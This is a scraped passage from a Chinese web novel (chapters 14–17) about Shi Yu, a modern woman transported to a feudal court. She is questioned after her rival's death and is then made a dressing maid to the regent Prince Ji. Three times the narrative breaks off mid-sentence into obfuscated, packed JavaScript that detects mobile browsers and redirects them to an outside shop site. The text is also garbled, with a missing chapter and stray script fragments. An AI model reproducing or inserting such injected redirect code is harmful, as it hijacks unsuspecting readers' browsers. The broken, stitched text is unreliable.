0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我拼死救你!”时毓抢着接话,又腆着脸凑过去,挨着她躺下,满腔感慨:“哎,我真庆幸选对了盟友。遇到你,是我来到这儿以后最幸运的事儿。” 季知节双手交叠置于身前,身姿端正得像一株夜竹:“你是从洛阳来的?” 时毓嗯了一声,接着便道:“不过我也不算真正的洛阳人,我的经历很复杂,有机会再告诉你吧。” 季知节没有追究,半晌问道:“往后有何打算?他不会善罢甘休的。” “我本想着……左右逃不出他的手掌心,干脆从了他也罢。”时毓苦笑,“事到临头才发现,这坨屎实在难以下咽。” 她攥紧被角,幽叹:“我们都是他的财产,只要他不放手,没有任何合法途径能离开。还是得攀上霁王,才能彻底摆脱他。” “霁王已经选了江雪融,你还有法子?” “还有最后一招。” 她最后的底牌,就是向霁王坦白来历,用跨越时代的见识换取生机。 只是这条路太险。且不说容易被当作妖邪,她一个四体不勤五谷不分的销售,又能拿什么打动坐拥天下人才的摄政王? 不过,最不济,她也能讲一千零一夜故事。 待到第一千零一个故事讲完,说不定那位殿下……也会如故事里的国王般动心。 总之,人不能被未至的苦难吓倒,要相信船到桥头自然直! 黑暗中,季知节沉默了许久。两个人的呼吸渐渐和其他人同频,就在时毓快要睡着时,忽听她问:“方才为何不借江雪融之势?” 时毓睡意朦胧地想了想,半晌才记起江雪融说的:告诉徐员外,从今以后你是我的人,让他掂量着点,别太过分。 她理所当然地说道:“一则与你结盟在先,不可背弃。二则,与虎谋皮,终遭反噬。” 季知节似乎轻笑了一下,“算你聪明。” 时毓也笑了,隔着被子拍了拍她的胳膊:“放心吧,你有才艺我有嘴,你我联手,何愁前路?” 季知节轻轻嗯了一声,“睡吧。“ 时毓打了个哈欠,困意如潮水般涌来。 可意识将沉入黑暗时,心头忽然掠过一丝不安,“但愿江雪融的真才实学经得起霁王考验,万一被识破,一个欺君之罪治下,咱们恐怕承担不起。” 万万没想到,她的嘴就像开了光。 翌日破晓,翊卫送回一具冰冷的尸体,正是昨夜踩着她和季知节上位的江雪融! 翊卫只道是昨夜随殿下江上赏月,失足落水而亡。 徐员外胆裂魂飞,心知绝不会这么巧,哪敢查验死因?他只关心霁王的态度,颤声问:“殿下……殿下可曾受惊?” 翊卫并未作答,冷冰冰道:“时毓何在?殿下有请。” 14. 第 14 章 一场春雨一场暖。 雨后初霁,晨光破云,昨日的料峭春寒已被融融暖意取代。 庭院里,绿意初萌的枝桠间,几株晚樱如云似雾地绽放,鸟雀穿梭,啼声清越。 正是绿杨烟外晓寒轻,红杏枝头春意闹。 然而就在这个生机盎然的清晨,时毓却见到了迄今为止最令她毛骨悚然的画面。 江雪融的尸身就那么毫无遮掩地停放在院子中央。 曾经柔软温暖的身段,直挺挺地抻着,曾经明媚娇艳的容颜,已被江水泡得肿胀发白,口脂与眉黛在脸上晕开,诡异可怖。更触目惊心的,是她颈间那若隐若现的黑指印。 送她回来的翊卫轻描淡写地说她失足落水而亡,可这分明是被人掐死后抛尸水中,泡了大半夜才捞上来的! 她昨夜走的时候是何等的春风得意啊,而她要见的,是理应比宰相肚量更大的帝国掌权者,并非残暴嗜杀的变态狂啊! 这短短几个时辰间到底发生了什么? 难道,霁王发现被骗,一怒之下亲手扼死了她? 可若当真因为一首诗,为何不以欺君之罪明正典刑,反倒要弄出个“失足落水”的幌子?这种欲盖弥彰的说辞,岂不让南方官绅多想? 而他此刻召见我,又所为何事? 难道处死剽窃者后,他还能若无其事地品评诗句?若真如此,只能说明,杀戮于他,早已如呼吸般自然。 关键是,在他心中,我是何等身份呢?是江雪融的共犯,还是被其抢夺了机缘的可怜才女? 时毓感到自己好似穿到了一个弱肉强食的野蛮社会,丝毫感觉不到国家法制带来的安全感。 本来她殷切期盼着再见到霁王,抓住机会再搏一把,却没料到是在这样的情境下。 在这般福祸难料的境地里,她实在没有把握,能为自己搏出一线生机…… 她怀着一颗惴惴不安的心,再次踏入行宫。 宫苑内,众人各司其职,修枝、扫叶、晾晒、巡逻……一切井然有序。他们随霁王临时驻跸于此,却无半分懈怠,认真负责地打理着霁王的起居日常。 于他们而言,这不过是再寻常不过的一日。 时毓望着他们,心底涌起难言的羡慕。 他们的工作,就是世人追捧的铁饭碗吧? 默默无闻,却安稳清闲,职位不高,却无人敢轻慢。和霁王没有直接接触,远离伴君如伴虎的风险,更不必担心职场骚扰。俸禄虽不及王公大臣的九牛一毛,却远胜升斗小民终年劳碌所得。这日子过得确实安逸。 从前父母催她回洛阳考编,她总是不屑一顾,觉得公务员收入低又乏味,远不如保险销售自由有挑战。 直到穿越至此,她才懂得平淡安稳何等珍贵。 现在想来,攀附霁王、一步登天的妄想,简直是痴人说梦。 这等好事,怎会轮到她这个宇宙第一倒霉蛋? 别提翻身做主了,现在只要能给她一个在皇宫扫地的机会,她也甘愿本本分分做到老! 可惜,连这个企望也是遥不可及的。 在现代考编都是千军万马过独木桥,更何况是这个门第等级森严的封建时代。 听说霁王的侍卫都是官二三代,想来婢女也不会随便从平民里选。 哦对了,她不是平民。她是奴隶。 别的穿越者到底是咋混的,随便做点小生意就能发财,出门捡个伤员就是皇子,百年工业革命的产物随随便便就能复制出来。 怎么只有她时毓,要啥啥没有,干啥啥不行,在这个阳光明媚的早晨,独自奔赴一场生死难料的审判? 想着想着,眼泪便不自觉地滚落下来。 * 昨日霁王问起晋陵五年来的人口恢复情况,杨焕文因准备不足答得含糊,今日特意整理了详尽的册子,天未亮便候在行宫外请求面见。 通报后,他被翊卫引着穿过三重仪门。在穿过一道月洞门时,恰与低头疾走的时毓擦肩。 杨焕文不免想,果然不出所料,霁王对这女子竟是如此上心,昨夜刚与那江姑娘共度良宵,今晨便按捺不住,又将此女接来。 可惜了,没给他送人情、献媚的机会。 但待他看清时毓微红的眼眶与颊边未干的泪痕时,心念一闪,只觉得机会又来了,不由驻足相询:“时姑娘?” 时毓闻声抬头,虽不识此人面貌,却认得那身青色官袍,忙敛衽行礼:“大人。” 杨焕文微微颔首,自报了身份,而后问道:“姑娘这是要往何处去?” 这个问题自然是僭越了。行宫里的事,岂是他一个地方官该问的。 因此引领时毓的翊卫反问:“杨大人与这位姑娘很熟?” 他身着玄色劲装,腰佩横刀,体格雄健挺拔,棱角分明的脸上没有丝毫表情,目光锐利如鹰,只往那儿一站便杀气凛然。 以这语气冷不丁一问,简直如同在诏狱审犯,令人胆寒。 时毓下巴抖了抖,眼泪又咕噜噜掉下来。 杨焕文却神色从容,坦然笑道:“昨夜初识,为时姑娘一曲倾倒,正想奏请殿下恩准,将此曲刊印传播,以惠民间。只是昨夜只听了一遍,我这记性不好,词曲难以记全,想请姑娘指点一二。不知大人要带她去往何处?” 翊卫沉默地审视着他,握在刀柄上的指节微微发力。 杨焕文顿时了然,她这一去似乎无关风月,且生死难料。 他本该明哲保身,可目光触及时毓那双含泪的眸子,那副柔弱无依的模样,与昨夜台上奔放洒脱的姿态判若两人,心中却不合时宜地泛起浓浓怜惜,把心一横,不依不饶地追问:“大人,不知下官日后还有没有机会向时姑娘请教?” “杨大人若想,在此静候便是。无人拦你。”翊卫冷声回应,随即催促时毓加快脚步。 时毓深知若霁王真要杀她,一个小小郡丞根本无力回天。可若她能活下来,与晋陵官府二把手结个善缘,说不定能帮她摆脱徐员外。于是她适时地回眸,深深望了杨焕文一眼。 在杨焕文眼中,这个眼神仿佛浸透了千般情愫,万种缠绵。那眸光流转间,似有初见的悸动,有相知恨晚的怅惘,有欲说还休的牵念,更有一种将他的面容镌刻心底、誓约来生的决绝。 他的心倏地一紧。 * 时毓被带入一处临水的废弃阁楼。 因霁王一行用不到此处,这里并未修葺,处处透着衰败的气息。 才近回廊,死水的腥臭便扑面而来。栏杆断了半截,歪斜地吊在朽木上。楼梯木板早已翘曲,每踏一步都发出"咯吱"呻吟,仿佛下一刻就要坍塌。 推门进去,积尘扑面,霉味呛人。 时毓捂着口鼻环视四周,猜测这里曾是谁的绣阁。 东窗下摆着一架织机,积了厚厚的灰,梭子还卡在半途,像是织到一半便再无人理会。旁边散着针线篮,几卷丝线早已褪了色。 几册诗卷零落在地。她俯身吹了吹灰,翻开最上面那本《织杼诗钞》,扉页上题着几个娟秀小字:清风入我怀,墨迹早已被深褐色的血斑晕染得模糊不清。 旁边散落着《漱玉闲钞》和《北窗吟草》,书页卷曲破损,边缘印着四道纤细弯曲的血迹,仿佛曾有一只血手,死死抓住这些诗卷,慰藉死前的痛苦和恐惧。 阵阵寒意窜上时毓的脊背。 恍惚间,她仿佛看见那位以‘织杼’为号的太守千金,曾在这里悠闲地纺纱赋诗。直到某日,愤怒的暴民破门而入,将她从织机前粗暴地拖走凌虐。书本散落,织机倾覆,如诗一般美好的生命轰然破碎。 四面轩窗尽敞,却透不进半分生气,散不去满室死寂。 压抑得令人窒息。 久等不见人来,时毓只觉得恐惧如藤蔓般缠紧心脏,几乎要将她逼疯。 她怔怔地望着楼下那潭死水,恨不得纵身一跃,就此了断。 这霁王,该不是想不动刀刃地逼死她吧? * 阳光透过支摘窗洒入宽敞的议事厅,在青砖地上映出斑驳的光影。 一串沉稳的脚步声自廊外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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接着话锋一转:“不过风霜最能磨励心志,辽阔天地更能涵养心胸。尔等久居南方的官员,未曾见识过北地的苍茫壮阔,未免是种遗憾。将来若有机会,不妨到北地任职历练一番,于仕途亦是裨益。” 按大虞规制,唯有太守及以上官员方可异地履职,此言似乎暗含提拔重用之意。 杨焕文心头一喜,忙道:“臣尝读《朔风赋》,心向往之。若能亲历北地壮阔,实为平生所愿。” “孤欲尽快促成南北官员互调,破除两地隔阂。”霁王指节轻击紫檀案几,发出沉笃声响,“如今对峙之势,实因战事积怨。然北地市井繁华,江南物产丰饶,若能重现商旅络绎之景,江南复苏指日可待。” 杨焕文垂首称是,心下却如潮涌。 南北官员互调阻碍重重,若无雷霆手段绝难推行。这位摄政王生得昳丽雍容,眉眼间似有三分文气,声不高扬,色不慑人,恰似春风化雨,对臣下亦是处处宽容体恤,看似温和可欺,可无论是征战沙场还是替天子御政,风格都是那么强悍霸道,让人不敢造次。 “当务之急,一是全力增补人口,充实各地劳动力,稳固民生根基;二是加紧疏通漕运,打通南北商道与粮道,二者缺一不可。” 杨焕文道:“殿下明鉴。增补人口、疏通漕运二策,实为振兴江南之根本。臣为郡丞五年,对此体会尤深,故连夜将历年所见所思,写成条陈在此,恭请殿下御览。” 霁王吩咐身边内官:“将杨卿的奏册呈上来吧。” 那内官看着年轻俊秀,虽不过弱冠年纪,举止却沉稳老练。他行至杨焕文面前,双手平举至胸,不卑不亢道:“杨大人,请交册。” 杨焕文双手呈过去,笑道:“有劳。” 霁王展卷细阅,偶尔停下来,执笔圈出什么,问上一两句。杨焕文都答得非常详尽。 这场接见大约持续了一个多时辰,待全部奏对完毕,霁王信手拈起案头那串菩提子十八粒手持摩挲把玩,起身徐徐踱至门前。 杨焕文不敢以背相对,躬身随着那道玄色身影静静移动。 两人一前一后站在阶前,霁王抬手指向东南方向:“你看那座阁楼。” 杨焕文顺着他指的方向,掠过潋滟湖波,穿过重重飞檐花影,落在那座临水玉立的二层阁楼上。 晨曦漫洒而下,在阁楼的窗户上折射出流动的七彩柔光,宛若一片凝固的朝霞,美得令人心惊。 15. 第 15 章 霁王负手捻着手串,语气闲适如话家常:“此楼名‘织云阁’,是晋陵前任太守徐詹专其独女所建的纺纱之所。上面十八扇窗户皆以南海贝母镶嵌。日光过处,外面流光溢彩,里面满堂生辉而不刺目,孤在北方从未见过这般巧思。” 杨焕文道:“殿下,此窗名唤蠡壳窗,传闻最早由余杭池氏所创。其工艺极为繁复,需从南海远运蠡贝蚌壳,再经工匠千磨万琢,制成薄如蝉翼的半透明贝片,最后以银丝细细梭织,方能嵌入窗棂。这些贝壳从采运到上窗,损耗高达十之七八,唯余二三成可用,靡费甚巨。虽璀璨夺目,但因贝片间难免留缝,保暖不及纸窗,且易破损难修,实非实用之物。” “如此华而不实之物,江南豪族却竞相效仿,可见其奢靡无度,已到了财货盈溢、无处挥霍的地步。你可知这十八扇窗造价几何?” “臣听闻,当时建成时,前太守曾吹嘘,仅一扇蠡壳窗的造价,便抵得上晋陵十户中人之家一年的嚼用。” “窃国肥私,莫此为甚。”说话间,霁王右手移到了佩剑上,无形中释放出一丝杀气。 杨焕文心一颤,小心应对道:“门阀可依品秩占田荫,一品便可占田五十顷,荫客十五户。他们借此将良田尽数兼并,逼得百姓从自耕之民沦为其佃客,岁收七成以上皆要纳租,自身却可免缴赋税。把持漕运要道,在各处设卡收费;垄断盐铁之利,将官价翻了三倍售卖。朝廷税源枯竭,而他们的库房却堆金积玉。殿下铲除门阀,乃是利国利民之举。” “百足之虫,死而不僵。四大门阀虽已倾覆,其豢养的门客却仍在暗处苟且,四处煽风点火,挑唆百姓与朝廷对立。” 霁王回眸看他,淡淡问:“你执掌文教,民间对此的风评,究竟如何?” 杨焕文心头一凛。 霁王远在京都,对江南局势的洞察却如此深刻。尽管各郡都在竭力维持太平表象,但门阀残余势力确实仍在暗中活跃。 漕运至今未能畅通,正是因为昔日把持水路的,尽是门阀子弟及其精心栽培的亲信。这些人非但熟悉水道,更通晓官军布防。战后他们直接沦为水匪,盘踞在各处航运要冲。而新任的漕运官员多是文吏出身,能力与他们相差甚远,难以将漕运整顿如初。 更棘手的是,战后各郡府库空虚,银钱皆用于安抚流民、恢复农耕,根本无力支撑大规模剿匪。此消彼长之下,这些残余势力愈发猖獗,劫掠漕船、滋扰地方,已严重阻碍江南复苏。 但战争已经过去五年了,无论如何,这都是地方官失职。 若让这些亡命之徒惊扰王驾,晋陵上下官员,都得下野。 这也正是今日由他前来禀报的缘由——张巨卿正全力追查昨日徐府惨案,因为凶徒正是门阀残部中最猖獗的一支:朱雀盟。 他抬袖拭去额间细汗,沉声道:"寻常百姓对门阀倾覆无不称快,晋陵四县八乡皆有人私设生祠感念殿下恩德。但那些曾受门阀恩惠的士人,确实仍在暗中为旧主招魂。他们掌控乡议,擅操清谈,最善以虚言蛊惑人心。有不少愚民受其蒙蔽,至今只知感念门阀小惠,不辨朝廷大义。" 说到这里,他深吸一口气,大胆提起了时毓,“故臣今日前来,亦是为奏请将时毓姑娘昨夜所唱之曲誊抄传颂,此曲通俗易懂,朗朗上口,极易传播。既能让殿下的英雄形象深入人心,更能引导万民辨忠奸、明大义,瓦解那些乱党煽惑民心的伎俩。” 时毓唱的是一首马屁歌,但不可否认,确有洗脑功能。因为绝大多数百姓并不了解当权者,别人传什么,他们就信什么。反叛者说他是杀神,百姓就觉得他残暴,街头巷尾传唱他是英雄,那他就是顶天立地的存在。久而久之,诋毁英雄,会被群起而攻之。 这就是以毒攻毒。 “时毓……”霁王回身望着远处的‘织云阁’,口中重复着这两个字,放在剑上的手又回到身后,缓缓捻着串珠,“这是她的名字?” “是的殿下。恰逢其时的时,钟灵毓秀的毓。” “恰逢其时,钟灵毓秀,好名字。”霁王眼角似乎含笑,“就按你说的办吧。” 殿下果然中意此女,却不知为何令她惊惧垂泪? 杨焕文心中有了计较,进一步试探:“微臣想请时姑娘往翔云楼献艺一场,既可观其成效,也可令晋陵歌姬现场习练。不知可否?” 若霁王允准时毓去那等风月之地抛头露面,说明时毓今日无性命之忧,且并不打算收她。如若相反,则意味着时毓今日就将命丧于此,亦或者,飞上枝头变贵人。 其实现在时毓仍是徐员外的家伎,这件事杨焕文应该去问徐员外,而不是霁王。 霁王立时听出了他的试探之意,只是并未察觉他的私心,以为他和公孙先生一样,是担忧时毓得宠助长“北风南渐”之势,故而才想方设法阻挠她上位。 在昨夜的宴席上,他是为帮张巨卿解决难题,才给南方官绅进言的空间。若此举让他们误以为,他们有资格左右他的意志,那就大错特错了。 他面色陡然一沉,冷冷吐出两个字:“不可。” 声不高,却惊飞了檐下栖息的云雀。 * 傍晚时分,终于有人上了阁楼。 时毓从角落里猛地起身,心脏几乎要跃出胸腔,可那个逆光而立的身影,却是对她并不友好的的顾钊。 也是,这里已不是吟赏诗赋的好地方,而修理一个欺君共犯,无需高贵的摄政王殿下亲自出面。 时毓心里忐忑,嘴角抽搐着上扬起来,讨好的话脱口而出:“顾大人……真没想到,卑微如我,竟能再睹大人丰采,这可真是意外之喜。” 顾钊阴沉着脸,抱臂站在门口,似乎怕靠近她一步,就会染上她的卑贱,又似乎为了不与她在同一个空间里待太久,不想与她多费口舌,直奔主题道:“昨夜江雪融唱的那首词,是你作的?” 霁王果然识破了!江雪融果然是因此而死! 时毓哪还敢隐瞒呢,当即招认:“不是我。” 顾钊眯了眯狭长的狐狸眼:“江雪融是怎么死的,你应该有数吧?事到如今,还敢欺瞒?!” “不敢不敢!” 根本不等他发飙,时毓便吓得双腿打摆,把头摇得像个拨浪鼓,急赤白脸地解释:“这诗最初确实是我传出去的,但我并非原作者。原作者叫张若虚,余杭郡人。我从未见过他,只是在城西破庙的墙上看到了题诗。墙上有作者自述,说自己怀才不遇,郁郁难平,留下这首绝笔就去投江了,也不知如今是死是活。我实在觉得这诗写得太好,湮没了可惜,这才悄悄记了下来。 昨夜殿下召见词作者,我本想上前说明原委,却被江雪融拦下,她说,我以效仿北人谄媚殿下,为南方官绅所厌弃,如果由我说出实情,便是公然打南方官绅的脸,不免再度激化南北纷争,不如由她去向殿下阐明实情,我一时胆怯就答应了,绝非有意欺蒙殿下……恳请大人从轻发落。” 说完就噗通跪倒了,跟个刚成精的黄鼠狼似得疯狂作揖。 对她这番说辞,顾昭信了七分。 那江雪融冒领诗作,被殿下识破,当场处死。殿下只告诉他,原作者就是那个当众示爱的女子,令他审问清楚,这人既然不择手段地吸引他注意,为何机会当前,却拱手相让,这背后,是否藏着更深的图谋? 在来这里之前,他已审过季知节,知道江雪融当时说的话差不多就是这样。但她们俩都没提起过,这首诗的原作另有其人。 殿下面前不容一丝含糊,必须把所有细节都落实清楚,方能回禀。 “张若虚?” 时毓重重点头。心里说,张公,您的署名权我还给您了,也算帮您在这个世界扬名了,您在天有灵,请保佑我平安过关! “破庙在哪里?” “灵泉乡,白鹭村,村西口。” 那是狗儿家的方向,也是她初来这个世界时落脚的地方。那破庙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595645|187132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早被一场大风刮塌了,就算顾钊派人去查,也休想找到那面墙。 “那你昨夜唱的那首,又是何人所作?” “是我,那是我肺腑之言。” 这首当然也是剽窃的,时毓心虚,表现出来倒是害羞模样,像是为自己昨夜孟浪过头惭愧一般。 “再作一首。” “啊?” “既然你对殿下的仰慕能让你发出这样的肺腑之言,”顾钊的声音里满是讥讽,“那再作一首应该不难吧?” 他在试探她是否还在撒谎。 所幸,时毓抄诗从无负担,拍马之作库存超多,信手拈来。 她装模作样地托着下巴,在这阁楼里踱了七步,突然一打响指:“有了!” 顾钊冷眼等着看她出丑。 可她是真有! “晋陵见王有感!” 洪亮又有气势的一句,和昨晚在台上一样激昂。 顾钊被这冷不丁的一声吼惊得耳朵嗡嗡响,皱着眉狠狠瞪了她一眼。 “不好意思不好意思。”时毓连连道歉,识趣地说道:“我小点声。” 顾钊不耐烦地催促:“快念!” “哎哎哎,有呢,有呢!”时毓赶紧点点头,拉开架势,手指窗外,像在指点江山,一字一顿地念叨: 威风万里压南邦,东去能翻鸭绿江。 灵怪大千俱破胆,那教猛虎不投降。 顾钊再瞧不上她,也得承认,这是一首好诗,辞雄格高,刚方强悍,且比昨夜那首马屁歌,更精准地迎合了霁王的心意—— 压南邦不必说,说的是霁王镇压南方叛乱。 鸭绿江,在大虞朝北境之外,江内是北方门阀的大本营。 灵怪和猛虎,毫无疑问,是在隐喻对国朝威胁越来越大的北方豪族。 此诗是说:霁王已成功剿灭了南方门阀,彻底肃清天下门阀指日可待! 可区区一个歌姬,怎会如此精准地洞悉摄政王的宏图? 若说是徐员外授意,观其昨夜在宴上的反应,分明没有这等见识。 他开始觉得自己低估了这个女人,不禁重新审视她。 她的才学胆识毋庸置疑,长相虽不能说惊为天人,但绝对称得上赏心悦目。尤其是那一双眼睛,灵透狡黠,顾盼间仿佛能蛊惑人心。至于她的身躯,纤长匀停,充满生机,把粗布旧衣穿出了难言的气韵。 最特别的,当属她的反应。她身上有种独特的钝感,和这个世界格格不入。 比如昨夜试探她有无武功,她不思抵挡,也不羞愤,反把注意力放到他身上。 比如她明知即将步江雪融后尘,一开始也怕的要死,现在却又沉浸在她的新作中,一副‘不愧是我’的得意样。 再比如,别人总会躲避他的视线,而她不仅不躲,反而追着他的视线,想要把他看穿。坦荡中带着点不自量力的小聪明,小聪明里藏着不计后果的蠢主意。 又如恭维。连徐员外这种人,当众谄媚时也难□□露一丝窘迫。而她,无论是奉承王爷,还是当面夸赞他,都说得无比自然,仿佛只是在陈述一个再明白不过的事实。 总的来说,她身上有些不顾别人死活的自我。 无怪乎殿下上了心。 为保她,甚至让江雪融‘失足落水’而死,也免了徐员外不察之罪——若以欺君之罪论处,她这个共犯也难逃一死。 但他还是觉得她不配伺候殿下——年纪大,没有妙龄少女的天真诚挚,也不够端庄娴静,一看就是会搅得所有人不得安生的祸水。 最重要的是,连徐员外都说不清她的来历。 江南有太多人憎恨殿下。凡是能接近他的,必须慎之又慎。 以她的才学胆识,不可能养于蓬门小户,以她散漫奔放的做派,不可能生于礼教森严的门阀,以她浅薄的城府和脆弱的意志,更不会是门阀精心培养的死士。 她到底是什么人呢? 17. 第 17 章 拔刺不是一蹴而就的,上岗却是片刻也不能延误的。 经过琳琅一番紧急调教,时毓当晚便成了摄政王的更衣女婢。 这时代绝大多数人都习惯日落而息,但摄政王殿下似乎格外喜欢熬夜。 待他回到寝殿,已是亥时三刻,琳琅和时毓早已在此等候多时。 等候期间,时毓紧张极了,午后苦练的动作、强记的规矩,随着她一进入寝殿,就像第一次上战场的士兵,丢盔弃甲、四散奔逃。 本来,在霁王回来之前,她很想让琳琅带着自己再复习一遍,可是琳琅却打起了瞌睡——为了全方位配合霁王的行程习惯,她已经养成了碎片化睡眠的习惯,见缝插针,随时随地都能睡着。 时毓对此敬佩不已,并更加清晰得确定了自己对未来的规划——宁可给琳琅当一辈子小跟班,也不愿意和她一样卷。 虽然从前她比琳琅还卷…… 为了出单,她曾连续数月风雨无阻地替客户接送小孩上下学,甘愿被对方呼来喝去,时而充当代驾,时而化身保姆,时而又成了陪练……凡有所需,无有不从。 穿越后,她的人生观彻底改变了。现在她只觉得人生苦短,谁也不知道意外什么时候到来,保住小命,尽可能活得舒服点,才算赢家。 想通这一点,她不再要求自己尽善尽美,反正琳琅也说了,对底下人要求不高,所以第一次上岗就算犯点无伤大雅的小错误也不要紧,只要别犯了大领导和小领导的忌讳就行。 他俩都在意的,无非安分二字。 于是在霁王回来前的一刻钟里,她不再复习那些规矩要领,而是默念保命口诀:垂首噤声莫乱瞟,谨记本分免招摇。 其实若不是面临‘拔刺’难题,伺候霁王更衣这等美差,无论如何也轮不到时毓头上。 毕竟,这个差事比起洒扫庭院、浆洗衣物不知轻松多少,而且每天都能近距离接触大领导,上位的机会多——这也是为什么之前是由两个掌事来负责。 时毓心里很清楚,自己是被琳琅拿来趟雷的。‘拔刺’成功后,玲珑就会返岗。倘若事败引发祸端,自己被少府监弄死,玲珑依旧能安然归来。 好在她心态放的很平。非亲非故的,琳琅救她一命就已经是天大的恩德了,凭什么要求人家掏心掏肺地对自己?利用就利用呗,反正救命之恩本来也是要报的。 而且她压根也不想在这个岗位上久呆。 伴君如伴虎啊。 终日与猛虎为伴,岂是养生之道? 因此,她真正该费心琢磨的,并非如何将这只猛虎伺候得舒坦妥帖,而是如何干净利落地拔除那根刺,以此赢得琳琅的赏识。待到此间事了,她方能全身而退,在权力中心谋一个安稳长久的闲差。 心念转动间,殿外已传来沉稳的脚步声。 几乎是同一瞬,琳琅便睁开了眼眸,眼底一片清明,不见半分睡意。 她一起身,时毓也连忙垂首屏息,快步跟上。 她只能看见绣满金龙的玄色袍裾,随着一双云纹锦靴的起落翻飞如墨云卷涌。 进门后他并未径直前行,而是沿着一条弧形路线,朝藤编椅的方向走去,似乎并不打算立即更衣上床。 琳琅见状立即会意,当即低声吩咐王禄备上香茗与烛台,又将殿下素日把玩的菩提子念珠与常置枕边的《易经注解》一并移至藤椅旁的案几上,自己也跟过去侍奉在侧。 时毓牢记自己的任务是更衣,定在屏风旁边没有动。 只是眼看着要接受检验了,检验期忽然被推迟,难免腹诽:该死的夜猫子!你不睡大家都不能睡,熬死我们算了! 但就在他的脚步即将掠过她时,那华丽的靴头陡然转了个方向,改朝她——或者说,屏风的风向折转而来。 虎哥要干嘛?!是不是发现了我,以为我千方百计又来勾引他了?今晚由我顶替玲珑,琳琅有没有提前报备? 时毓霎时有点慌,既恐他误会自己贼心不死而雷霆震怒,又怕随便乱动走错位冲撞了他,本能得想抬头寻求琳琅帮助。 好在琳琅及时开了口:“殿下可是要先更衣?” 那脚步一顿。 时毓心跳如鼓,浑身不受控制得发抖,全身心准备着,只待一句“怎么是她”问出口,便立即跪地请罪陈情。 谁知短暂的静默后,他只淡淡嗯了一声,便继续朝她走来,在离她不远的地方站定,平举双手。 时毓提到嗓子眼的心脏噗通一声落下去,眼眶里泛起劫后余生的湿润,迈着虚浮的步伐跟过去,抬起颤抖的双手,低着头,抚上他腰上的系带。 第三天。 这是从这间屋子里把她赶出去的第三天。 这三天虞珩刻意压抑着想召她来一试究竟的冲动,未料这心思越是压抑,就越是躁动。 今日坐镇郡衙主持一桩悬了多年的旧案时,他竟罕见地走了神。 只因那原告之女身材高挑纤细,背影与她有三分相似。 那人跪在堂下,瑟瑟发抖的样子,让他想起了那夜跪在自己脚下,用炽热的眼神挑逗自己的时毓,那个眼神令他当堂起了冲动。 他当时便想赶回行宫,却不期然想到梁久安的话,‘想那少年初尝情欲,一个眼神、一句软语,便能牵肠挂肚,乃至夜有所梦,元阳自溢’。 这一个眼神便能让他勃发,难道自己竟真成了慕艾少年不成?那岂不是连真心,也会在不知不觉间交付? 荒唐! 只要身体在恢复,谁都可以承载他的欲望! 于是他改道去了晋陵的风月宝地。 从青涩少女到妩媚少妇,从清雅佳人到风流艳姬,从欲拒还迎到纵情放浪……形形色色的女子在他面前使尽浑身解数,各种活色生香的场面在他面前上演。连王禄这种没根的,都看得两眼放光、浑身发烫,他却意兴阑珊,甚至几欲作呕。 折腾到深夜,他颓唐得回到行宫。 他开始怀疑那天发生的一切,是不是一场谵妄,开始怀疑梁久安诊错了,其实他根本还是老样子,开始怀疑时毓就是从大鸟背上掉落下来不死的女妖,有着妲己才有的魔力。 更令他心烦意乱的是,自己竟真像个未经人事的毛头小子,无时无刻不在渴念着那种血脉偾张的灼热。 那样才算真实的活着。 步入寝殿的刹那,他已经决定,立即将时毓召来,今夜无论如何也要与她试一试。倘若不成,便将她囚禁,让她从此再也不能见人,或将她毒哑,让她从此不能开口。 没想到还没来得及下令,她就已经出现在自己眼前。 不消说,肯定是琳琅安排的。 琳琅总是那么善解人意。虞珩抽空给了琳琅一个赞许的眼神,便把眼睛转到时毓身上。 这样普通的浅碧色宫装非但没掩住她的身段,反衬得凹凸玲珑,领口处露出半截白玉似的颈子,像是玉质的天然香料,光是看着,就能想象出迷魂香气。 虞珩觉得喉头发干,这三日强压下的渴念,此刻在心底嘶吼着苏醒。 她身量颇高,若是挺直脊背,眉眼应当正好能及他的下颌。 可此刻她却将身子躬得极低,头颅深深垂下,即便偶尔需要抬头,也始终谨慎地垂着眼帘,似乎生怕用眼神冒犯他。 然而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683054|187132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虞珩心里痒痒的,想通过她的眼睛知道此刻她在想什么。 是不是也像他一般,努力克制着一股冲动。 若她当真如所言那般倾慕于他,这三日想必饱受相思之苦,定是贪婪地想要多看他一眼。这股冲动一定狠狠折磨着她,教她在偷觑与保命之间艰难挣扎。 从她僵硬的脸上根本看不出什么。 按照琳琅的吩咐,时毓的工作只需为他卸去佩饰、褪下外袍,余下的便交给琳琅。 她抱着刚脱下来的外袍刚要退后,琳琅忽然伸手接了过去,温声道:"给我吧。今日既是你头回当值,便从头至尾做与我看看。若无不妥,往后我也好放心交与你。" 时毓低着头睁大双眼,颅内爆鸣:您说什么呢领导?我实习期还没过,就担此大任合适吗? 可是,官大一级压死人,她能反驳吗? 虎哥都没反对,她能吗? 话说回来,虎哥为什么不反对呢?照理该极力抗拒她的靠近才是…… 啊,对了,大领导不会自降身份,几次三番地针对一个小虾米。他也不屑和虾米对话。若有不满,他会告诫琳琅,让琳琅处理。 